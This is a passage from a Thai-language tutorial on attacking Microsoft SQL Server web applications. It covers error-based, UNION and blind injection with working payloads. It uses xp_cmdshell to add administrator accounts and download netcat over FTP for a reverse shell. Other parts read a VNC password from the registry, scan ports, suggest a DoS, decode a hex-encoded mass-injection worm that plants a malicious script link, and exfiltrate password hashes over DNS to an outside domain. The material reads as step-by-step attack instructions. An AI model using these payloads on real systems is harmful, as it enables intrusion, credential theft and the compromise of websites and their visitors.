<GetUserInfo xmlns="http://tempuri.org/"><username>admin' and 1=convert(int,@@version)--</username><password>1234</password>
</GetUserInfo></soap:Body></soap:Envelope>


*** Response ***
HTTP/1.1 200 OK
Date: Wed, 28 Jan 2009 15:59:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 1266
Connection: close
X-Junk: xxxxxxxxxxx

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
<GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
System.Data.OleDb.OleDbException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) 
Feb  9 2007 22:47:07 
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
' to data type int.
at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)
at System.Data.OleDb.OleDbDataReader.NextResult()
at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='admin' 
and 1=convert(int,@@version)--' AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate>
</GetUserInfoResult></GetUserInfoResponse></soap:Body></soap:Envelope>
[End]---------------------------------------------------------------------------------------

          เราจะได้ข้อมูล Version ของ Database จาก Error นั่นเอง (Microsoft SQL Server 2005 - 9.00.3042.00) จากนั้นเราก็ใช้เทคนิคเดียวกันนี้ในการหาข้อมูลอื่นต่อไป (tables, columns,data)

 

++++++++++++++++++++++++++++++++++++++++++++++
[0x02c] - MSSQL Injection with UNION Attack
++++++++++++++++++++++++++++++++++++++++++++++

          วิธีนี้จะต่างจากวิธีที่ผ่านมากล่าวคือ เราจะไม่ได้ข้อมูลผ่านทาง Error Message แต่เราจะได้ข้อมูลที่ต้องการผ่านหน้าต่างแสดงผลลัพธ์ (Page) ที่มีโดยปกติอยู่แล้ว โดยก่อนอื่นเราจะต้องทราบจำนวนทั้งหมดของ column โดยการใช้ ORDER BY

http://www.example.com/page.asp?id=1 order by 1--
http://www.example.com/page.asp?id=1 order by 2--
http://www.example.com/page.asp?id=1 order by 3--
http://www.example.com/page.asp?id=1 order by 4--

          ให้ลองใส่ไปเรื่อยๆ จนกระทั่งเกิดผลลัพธ์ที่มี error ลักษณะนี้

*** request *** // http://www.example.com/page.asp?id=1 order by 5--
------------------------------------------------------------------------------------
Microsoft SQL Native Client error '80040e14'
The ORDER BY position number 5 is out of range of the number of items in the select list.
/showthread.asp, line 9
------------------------------------------------------------------------------------

          หมายความว่า table ที่กำลังทำงานอยู่นี้มี 4 columns จากนั้นเราจะใช้ UNION ในการใส่ข้อมูล

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,44--
[End SQLi]--------------------------------------------------------------------------

          เราจะเห็นข้อมูลบางตัวใน "11", "22", "33" หรือ "44" ในหน้าแสดงข้อมูล โดยเราจะสมมติให้ "44" จะถูกแสดงมายังหน้าแสดงข้อมูล เมื่อเป็นดังนี้แล้วให้แทนที่ค่า "44" ด้วย "@@version" เพื่อหา Version ของ MSSQL Server

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,@@version--
[End SQLi]--------------------------------------------------------------------------

          เราจะเห็น Version ของ MSSQL Server แทนที่ "44"

          จากนั้นหา table name, column name, data เช่นเดียวกับ Section ก่อนหน้า

[SQli]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables--
[End SQLi]--------------------------------------------------------------------------

          จะได้ table name แรก แสดงอยู่บนหน้าแสดงข้อมูล โดยสมมติให้ชื่อ 'threads' จากนั้นจึงหา table name ถัดไป

[SQli]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables where table_name not in ('threads')--
[End SQLi]--------------------------------------------------------------------------

          สมมติว่าได้ table name = 'users' จากนั้นจึงทำต่อไปเรื่อยๆ จนกระทั่งไม่มีข้อมูลออกมาแทนที่ "44" อีกแล้ว จึงสำรวจในแต่ละ table ว่ามี column name อะไรและมี data อะไรบ้าง

[SQli]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name='users'--
[End SQLi]--------------------------------------------------------------------------
Output Screen : uname

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name='users' and 
column_name not in ('uname')--
[End SQLi]--------------------------------------------------------------------------
Output Screen : upass

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users--
[End SQLi]--------------------------------------------------------------------------
Output Screen : admin

[SQLi]------------------------------------------------------------------------------
http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users where uname not in ('admin')--
[End SQLi]--------------------------------------------------------------------------

 

###########################################
[0x03] - MSSQL Blind SQL Injection Attack
###########################################

          ในบางกรณีการใช้ SQL Injection แบบธรรมดาอาจจะไม่ประสบผลสำเร็จ การ blind sql injection ด้วยวิธีอื่นอาจจะช่วยได้ ซึ่งจุดสำคัญของการ blind sql injection คือหาความแตกต่างระหว่าง query ที่ให้ผลลัพธ์ถูกต้องและผลลัพธ์ไม่ถูกต้อง โดยเราจะส่ง statement ที่ทำให้การค้นหา ถูก/ไม่ถูก แล้วดู response ของการทำงาน (เพราะการที่เราไม่เห็นผลลัพธ์ ไม่ได้แปลว่า sql injection ไม่ได้ทำงาน)

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x03a] - วิธีตรวจสอบ Website ที่มีช่องโหว่ในการ Blind SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

          สมมติให้ http://www.example.com/page.asp?id=1 เป็น url ที่อยู่บน webpage คุณสามารถใส่ statement

http://www.example.com/page.asp?id=1 and 1=1	
and
http://www.example.com/page.asp?id=1 and 1=2

          ถ้าผลลัพธ์ของ 2 request นี้ออกมาต่างกันนับว่าเป็นสัญญาณที่ดี website นี้อาจจะมีช่องโหว่เกี่ยวกับ blind sql injection เมื่อมีการใส่ "id = 1 and 1=1" มันหมายความว่า เงื่อนไขเป็นจริง การตอบสนองควรเป็นปกติ แต่ถ้าเป็น "id = 1 and 1=2" แสดงว่าเงื่อนไขเป็นเท็จ ถ้า webmaster ไม่ได้กรอง input ที่เหมาะสมการตอบสนองควรจะแตกต่างจาก request ที่แล้ว

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x03b] - ตรวจสอบข้อมูลผ่านการ Blind SQL Injection
++++++++++++++++++++++++++++++++++++++++++++++++++++++

          การใช้ blind คุณจะต้องใช้เวลามากกว่าการ injection ปกติและสามารถรับได้เพียง 1 charactor ในขณะที่ส่ง query ไปหลาย query ไปยัง server เราจะสมมติตัวอย่างการ query ตัวอักษรตัวแรกของชื่อฐานข้อมูล โดยจะสมมติชื่อฐานข้อมูลคือ "member" จะได้ตัวอักษรตัวแรกคืำอ 'm' ซึ่งมีค่า ascii = 109

          request ของเรามี 2 แบบ

1. Valid query : http://www.example.com/page.asp?id=1 and 1=1
2. Invalid query : http://www.example.com/page.asp?id=1 and 1=2

          จากนั้นก็แล้วแต่ idea ของคุณ ซึ่งอาจจะต่างจาก query ด้านล่างนี้

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

          ถ้าผลลัพธ์ออกมาเหมือนกับ "http://www.example.com/page.asp?id=1 and 1=1" (เพราะ db_name(0) = "m" ซึ่งเท่ากับ ascii code 109) ก็ให้ลองต่อไป

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120

          แน่นอนว่าผลลัพธ์ออกมาเหมือนกับ "http://www.example.com/page.asp?id=1 and 1=2" (เพราะ 109 < 120)

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105

          ผลลัพธ์ยังคงถูกต้อง แสดงว่า db_name(0) อยู่ระหว่าง 106 - 120

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112  ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108  ===> valid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110  ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109  ===> invalid query result

          จะเห็นว่า db_name(0) มากกว่า 108  และไม่มากกว่า 109 ซึ่งแปลว่า db_name(0) เท่ากับ 109 นั่นเอง โดยพิสูจน์ดังนี้

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109

          สิ่งที่จะต้องทำต่อคือจัดการค้นหาข้อมูลที่ต้องการ โดยในบทความสอนนี้ จะแสดงให้เห็นตัวอย่างในการหา table name และ column name ใน database

 

++++++++++++++++++++++++++++++++++++++++++++
[0x03c] - Exploit Query เพื่อหา Table name
++++++++++++++++++++++++++++++++++++++++++++

          เพื่อจะหา table name เราสามารถใช้วิธีข้างต้นเพื่อรับตัวอักษรแต่ละตัวของ table name สิ่งเดียวที่ต้องทำคือเปลี่ยนจากการเรียก database name เป็น table name แต่ในปัจจุบัน ไม่มีคำสั่งนี้บน MSSQL ดังนั้น การค้นหาจึงประกอบด้วย sql ที่ค่อนข้างสับสน

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)>97

          request ข้างต้นจะได้ตัวอักษรตัวแรกของ table แรก ที่อยู่ใน database ถ้าต้องการหา table name ของ table ที่ 2 สามารถทำได้ดังนี้

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97

          parameter ตัวที่ 2 ของ substring จะระบุตำแหน่งของตัวอักษรที่ต้องการใน table name และในกรณีที่ต้องการหาข้อมูลของ table อื่นให้เปลี่ยน select ตัวที่ 2 จาก "SELECT TOP 1" เป็น "SELECT TOP 2", "SELECT TOP 3" เช่น

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)=97

          request ด้านบนจะได้ตัวอักษร ของ table name ตัวแรกของ table ที่ 2 ใน database

 

+++++++++++++++++++++++++++++++++++++++++++++
[0x03d] - Exploit query เพื่อหา Column name
+++++++++++++++++++++++++++++++++++++++++++++

          หลังจากที่เราได้ table name สิ่งที่จะต้องทำถัดไปคือหา column name

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97

          ในกรณีที่มีการกรอง quote (') อาจจะต้องเปลี่ยน 'tablename' ให้อยู่ในรูป concatenating char() ตัวอย่างเช่น หาก table name = 'user' จะต้องเปลี่ยนจาก 'user' ให้กลายเป็น char(117)+char(115)+char(101)+char(114) ซึ่งจะทำให้ "WHERE name='user'" จะกลายเป็น "WHERE name=char(117)+char(115)+char(101)+char(114)"

          จาก request ด้านบนเราจะได้ผลลัพธ์เป็นตัวอักษรตัวแรกของ column name ของ column แรก ที่อยู่ใน table ที่ระบุเอาไว้ หากต้องการหา ตัวอักษรตัวที่ 2 เราสามารถทำเช่นเดียวกับวิธีหา table name โดยการเปลี่ยน parameter ตัวที่ 2 ของ substring

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97

          request ด้านบน จะได้ผลลัพธ์เป็นตัวอักษรตัวที่ 2 ของ column name ของ column แรก ที่อยู่ใน table ที่ระบุเอาไว้ ('tablename')

          หากต้องการหา column อื่น ให้เปลี่ยนค่าของ p.x จาก 1 เป็น 2, 3, 4 ตามลำดับ

http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97

          request ด้านบน จะได้ผลลัพธ์เป็นตัวอักษรตัวแรกของ column name ของ column ที่ 2 ที่อยู่ใน table ที่ระบุเอาไว้ ('tablename')

 

##############################################
[0x04] - อันตรายเพิ่มเติมจากการโจมตีด้วย SQL Injection
##############################################

          ในบทที่ [0x02] และ [0x03] เราได้พูดถึงการหาข้อมูลที่เป็นประโยชน์จากฐานข้อมูลด้วยเทคนิค sql injection เช่นการโจมตีด้วย UNION การทำให้เกิด error message และการ blind injection แต่ในบทนี้เราจะไม่แสดงเพียงแค่การหาข้อมูลอีกแล้วแต่จะเป็นการสั่งงานคำสั่ง เช่นการใช้ sql worm

 

+++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x04a] - Dangerous from Extended Stored Procedures
+++++++++++++++++++++++++++++++++++++++++++++++++++++

xp_cmdshell

- Execute คำสั่งบนระบบปฏิบัติการที่ติดตั้ง MSSQL ได้
- ถูกตั้งค่าให้ใช้ได้ทันทีบน MSSQL (Disable on MSSQL 2005)
- สามารถเรียกใช้โดย 'sa' หรือ user ในกลุ่ม 'sysadmin' เท่านั้น

 xp_regxx

- อ่าน/เขียน register key อาจจะรวมไปถึงการอ่าน SAM file ด้วย
- ประกอบด้วย

xp_regread   
xp_regwrite
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues

[ตัวอย่างการกำหนดให้ null-session shares สามารถใช้ได้บน server]
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares'

xp_servicecontrol

- อนุญาตให้จัดการ service ได้

exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'

xp_avaliablemedia

- เปิดเผย Drive ที่มีอยู่ในเครื่อง

xp_dirtree

- อนุญาตในการเข้าถึง Directory

xp_enumdsn

- แสดง ODBC data source บน server

xp_makecab

- ทำให้ user สามารถสร้างไฟล์บีบอัดบน server

xp_ntsec_enumdomains

- แสดง domain ที่ server สามารถเข้าถึง

xp_terminate_process

- ระงับการทำงานของ process

xp_loginconfig

- login mode

 

+++++++++++++++++++++++++++++++++++++++++++++
[0x04b] - Advanced SQL Injection Techniques
+++++++++++++++++++++++++++++++++++++++++++++
          "xp_cmdshell" stored procedure สามารถรันคำสั่งทุกคำสั่งบน server ด้วยระดับการเข้าถึงเท่ากับ database user ที่ใช้งานขณะนั้น โดยปกติแล้วมีเพียง sysadmin เท่านั้นที่จะสามารถใช้ xp_cmdshell ได้ และใน SQL Server 2005 นั้น xp_cmdshell จะถูก disable โดย default (แต่สามารถ enble ได้โดยใช้ sp_configure)

EXEC master.dbo.xp_cmdshell 'net user cwh cwh1234 /add' ;--			//Use for add user "cwh" into system.
EXEC master.dbo.xp_cmdshell 'net localgroup administrators cwh /add' ;--	//Use for escalating privilege "cwh" to admin group

          ตัวอย่างการใช้ sql injection ผ่านทาง GET request

http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell 'command'

          บน MSSQL 2005 คุณอาจจะต้องเปิดการทำงานของ xp_cmdshell ก่อน ซึ่งมันถูก disable โดย default

EXEC sp_configure 'show advanced options', 1;--
RECONFIGURE;-- 
EXEC sp_configure 'xp_cmdshell', 1;-- 
RECONFIGURE;--  

          บน MSSQL 2000:
          ถ้าคุณมีสิทธิเป็น sa แต่ xp_cmdshell ถูก disable/remove ด้วย sp_dropextendedproc เราสามารถอัดฉีดคำสั่งนี้ลงไปได้

EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--

          จะเป็นการสร้าง 'xp_anyname' store procedure ให้ link กับ xp_log70.dll ซึ่งมี function อยู่ด้วย xp_cmdshell แต่ถ้ายังไม่ work อีก แปลว่า xp_log70.dll ถูกย้าย หรือไม่ก็ถูกลบ ซึ่งถ้าเป็นแบบนี้ให้ อัดฉีดคำสั่งเหล่านี้ลงไป

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result

 

** Tip **

[คำถาม]

          จะทำอย่างไรถ้า web application เชื่อมต่อกับ database ด้วยสิทธิ์ที่ไม่สามารถรัน xp_cmdshell หรือเข้าถึงข้อมูลที่น่าสนใจได้ ?

[คำตอบ]

          ก่อนอื่นให้ค้นหา user ทั้งหมดในระบบที่มีสิทธิ์เป็นผู้ดูแลระบบ

[Code]--------------------------------------------------------------------------------------
http://www.example.com/news.asp?id=1 union all select null,null,name,null,null,null,null from master..syslogins where name not in ('sa') and sysadmin=1;--
[End Code]----------------------------------------------------------------------------------

[Result]------------------------------------------------------------------------------------
sa
cwh
example
[End Result]--------------------------------------------------------------------------------

          จากนั้นใช้ openrowset เชื่อมต่อไปยัง database ด้วย user ที่เป็น sysadmin ที่มี password อ่อนแอ โดยการเขียน perl script เพื่อ bruteforce password ออกมาผ่าน sql injection

[Code]--------------------------------------------------------------------------------------
http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','server=VICTIMDBNAME;uid=$USER;pwd=$PASS','select * from master..sysusers')--
[End Code]----------------------------------------------------------------------------------

//Result: Found that "CWH" has a "1234"

          ยกระดับการเข้าถึง store procedure ด้วย openrowset ภายใต้สิทธิของผู้ดูแลระบบ

http://www.example.com/news.asp?id=1; EXEC opendatasource('SQLoledb','Persist Security Info=False;DataSource=VICTIMDBNAME;UserID=CWH;Password=1234').master.dbo.xp_cmdshell 'net user hacklol 1234 /add';

          // จากนั้น โจมตีโดยใช้ TFTP, Netcat และรัน reverse shell เพื่อทำให้ได้รับสิทธิในการใช้ internet เพื่อเข้าไปยังเครือข่าย

 

= วิธีการ Upload Executable File =

          เมื่อสามารถใช้งาน xp_cmdshell ได้แล้ว (ไม่ว่าจะด้วยวิธีใดก็ตาม) เราสามารถ upload executable file ลงไปยัง server ได้ โดยตัวเลือกหลักๆ ที่จะถูก upload ขึ้นไปคือ Netcat หรือเหล่าโทรจันต่างๆ ถ้าเป้าหมายอนุญาตให้มีการใช้เชื่อมต่อ ftp สิ่งที่เราต้องทำก็เพียงแค่ใส่ query

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';-- 
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo cd bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

 

= วิธีเรียก VNC Password จาก Registry =

'; declare @out binary(8)
exec master..xp_regread
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'SOFTWARE\ORL\WinVNC3\Default',
@value_name='password',
@value = @out output
select cast (@out as bigint) as x into TEMP--

' and 1 in (select cast(x as varchar) from temp)--

 

= วิธีทำ Port Scanning =

          เราสามารถใช้เครื่องที่มีช่องโหว่ sql injection เป็นฐานในการทำ IP/Port scaner ใน Internet หรือ Network ได้โดย

http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.10.10.12,80;timeout=5','select * from table')--

          Code นี้จะสั่งให้เป้าหมายเชื่อมต่อกับ IP 10.10.10.12 ด้วย port ที่มากกว่า 80 ถ้า port ปิดอยู่จะมีจะเกิด time out (5 second) และหน้าต่าง display จะแสดง error message

"SQL Server does not exist or access denied"

          ถ้า port เปิด จะเกิด error message ดังนี้

"General network error. Check your network documentation"
or
"OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error."

          ด้วยวิธีนี้ เราจะสามารถหา IP/Port ที่เปิดอยู่ภายในเครือข่ายได้ (สุดยอดดด)

 

** หมายเหตุ **

          เทคนิคนี้สามารถใช้โจมตีแบบ DoS เพียงแค่เปลี่ยน port เช่น FTP(21) และตั้ง timeout เอาไว้ สูงๆ (เช่น 500) จะทำให้ FTP มีการเชื่อมต่อมากเกินไปจนหยุดให้บริการ

 

++++++++++++++++++++++++++++++++++++++
[0x04c] - Mass MSSQL Injection Worms
++++++++++++++++++++++++++++++++++++++

          การโจมตีนี้จะใช้ internet robot หรือที่เรียกว่า malbot ที่จะโจมตีเป้าหมาย เช่น malbot fires จะพยายามอัดฉีด sql เข้าไปเพื่ออ้างอิง script ที่เป็นอันตรายให้ไปปรากฏบนหน้า webpage ด้านล่างนี้จะเป็น sql inject ที่เป็นลักษณะทั่วไป และน่าศึกษา

[SQLi worm]---------------------------------------------------------------------------------
';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045002000400054002000760061007200630068006100720028003200350035
0029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F004300
7500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E
0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E0073002000
6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027007500270020
0061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F0072002000
62002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC(@S);--
[End SQLi]----------------------------------------------------------------------------------

          When we decode this SQLi Code with Hex:

[SQLi Decoded]------------------------------------------------------------------------------

DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND

[A].[XType] = 'U' /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* SYSNAME */ OR
[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C 

WHILE (@@FETCH_STATUS = 0)

BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor 

[End SQLi]----------------------------------------------------------------------------------

          จะเกิดอะไรขึ้นถ้า text field ทั้งหมดในฐานข้อมูลเพิ่มลิ้งค์ ไปยัง java script ที่เป็นอันตราย (<script src="http://www.fengnima.cn/k.js"></script>)

          จึงไม่น่าแปลกที่ attacker จะพยายามสืบค้นหาข้อมูล บนหน้า webpage เพื่อที่จะอัดฉีด sql ของพวกเขาเข้าไป

 

########################################   
[0x05] - MSSQL Injection Cheat Sheet
########################################

          ** Some of the queries in the table below can only be run by an admin (SA Privilege).
These are marked with "-- priv" at the end of the query. **

Version SELECT @@version
Comments SELECT 1 -- comment
SELECT /*comment*/1
Current User SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users SELECT name FROM master..syslogins
List Password Hashes

MSSQL2000: SELECT name, password FROM master..sysxlogins -- priv

                  SELECT name, master.dbo.fn_varbintohexstr(password)
                  FROM master..sysxlogins -- priv

MSSQL2005: SELECT name, password_hash FROM
                  master.sys.sql_logins -- priv

                  SELECT name + '-' +
                  master.sys.fn_varbintohexstr(password_hash)
                  FROM master.sys.sql_logins -- priv

List DBA Accounts

SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin?
returns 1 for true, 0 for false, NULL for invalid role.
Also try 'bulkadmin',    'systemadmin' and other values.

SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin?
return 1 for true, 0 for false, NULL for invalid role/username.

Current DB SELECT DB_NAME()
List Databases SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); -- for N = 0, 1, 2, ...
List Columns

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE
name = 'mytable'); -- for the current DB only

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM
master..syscolumns, master..sysobjects WHERE
master..syscolumns.id=master..sysobjects.id AND
master..sysobjects.name='sometable'; -- list colum names
and types for master..sometable

List Table

SELECT name FROM master..sysobjects WHERE xtype = 'U';
(Use xtype = 'V' for views)
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype)
FROM master..syscolumns, master..sysobjects WHERE
master..syscolumns.id=master..sysobjects.id AND
master..sysobjects.name='sometable'; -- list column names and types
for master..sometable

Find Tables  From Column Name

-- NB: This example works only for the current database.
If you wan't to search another db, you need to specify the db name
(e.g. replace sysobject with mydb..sysobjects).

SELECT sysobjects.name as tablename, syscolumns.name as columnname
FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id
WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' --
this lists table, column for each column containing the word 'password'

Select Nth Row SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins
ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row
Select Nth Char SELECT substring('abcd', 3, 1) -- returns c
Bitwise AND

SELECT 6 & 2 -- returns 2
SELECT 6 & 1 -- returns 0

ASCII Value -> Char SELECT char(0x41) -- returns A
Char -> ASCII Value SELECT ascii('A') - returns 65
Casting SELECT CAST('1' as int);
SELECT CAST(1 as char);
String Concatenation SELECT 'A' + 'B' - returns AB
If Statement IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1
Avoiding Quotes SELECT char(65)+char(66) -- returns AB
Time Delay WAITFOR DELAY '0:0:5' -- pause for 5 seconds
Make DNS Requests

declare @host varchar(800); select @host = name FROM master..syslogins;
exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini''');
-- nonpriv, works on 2000

declare @host varchar(800); select @host = name + '-' +
master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net'
from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');
-- priv, works on 2005

-- NB: Concatenation is not allowed in calls to these SPs, hence why we
have to use @host.  Messy but necessary.
-- Also check out theDNS tunnel feature of sqlninja

Command Execution EXEC xp_cmdshell 'net user'; -- priv
Local File Access CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:\boot.ini';
DROP TABLE mydata;
Hostname, IP SELECT HOST_NAME()
Create Users EXEC sp_addlogin 'user', 'pass'; -- priv
Drop Users EXEC sp_droplogin 'user'; -- priv
Make User DBA EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv

 

